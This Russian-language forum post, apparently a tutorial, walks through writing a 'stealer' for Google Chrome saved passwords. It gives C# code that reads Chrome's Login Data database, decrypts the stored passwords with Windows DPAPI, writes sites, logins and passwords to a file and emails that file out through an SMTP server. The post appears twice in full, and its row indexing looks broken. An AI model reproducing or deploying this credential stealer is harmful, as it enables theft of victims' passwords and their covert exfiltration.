Удалённый пользователь 43989
Guest
У
Удалённый пользователь 43989
Guest
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.
Мастер – ключ - это комбинация следующих элементов:
SID — уникальный идентификатор безопасности.
HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут https://habrahabr.ru/post/148602/
Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
string fileDb = @"C:\Users\Adminka\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;
DataTable db = new DataTable();
string sql = $"SELECT * FROM {db_fields}";
using (SQLiteConnection connection = new SQLiteConnection(connectionString))
{
SQLiteCommand command = new SQLiteCommand(sql, connection);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
adapter.Fill(db);
}
int rows = db.Rows.Count;
Console.WriteLine($"Всего записей: {rows}");
for (int i = 0; i < rows; i++)
{
string url = db.Rows[1].ToString();
string login = db.Rows[3].ToString();
byte[] byteArray = (byte[])db.Rows[5];
byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
string password = new UTF8Encoding(true).GetString(decrypted);
sw.WriteLine("----------------------------");
sw.WriteLine($"Номер: {i}");
sw.WriteLine($"Сайт: {url}");
sw.WriteLine($"Логин: {login}");
sw.WriteLine($"Пароль: {password}");
}
sw.Close();
MailSend.SendMail("smtp.mail.ru", "[email protected]", "password", "[email protected]", "Пароли", fileName, fileName);
Console.ReadKey();
Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.
Мастер – ключ - это комбинация следующих элементов:
SID — уникальный идентификатор безопасности.
HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут https://habrahabr.ru/post/148602/
Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
string fileDb = @"C:\Users\Adminka\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;
DataTable db = new DataTable();
string sql = $"SELECT * FROM {db_fields}";
using (SQLiteConnection connection = new SQLiteConnection(connectionString))
{
SQLiteCommand command = new SQLiteCommand(sql, connection);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
adapter.Fill(db);
}
int rows = db.Rows.Count;
Console.WriteLine($"Всего записей: {rows}");
for (int i = 0; i < rows; i++)
{
string url = db.Rows[1].ToString();
string login = db.Rows[3].ToString();
byte[] byteArray = (byte[])db.Rows[5];
byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
string password = new UTF8Encoding(true).GetString(decrypted);
sw.WriteLine("----------------------------");
sw.WriteLine($"Номер: {i}");
sw.WriteLine($"Сайт: {url}");
sw.WriteLine($"Логин: {login}");
sw.WriteLine($"Пароль: {password}");
}
sw.Close();
MailSend.SendMail("smtp.mail.ru", "[email protected]", "password", "[email protected]", "Пароли", fileName, fileName);
Console.ReadKey();
Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx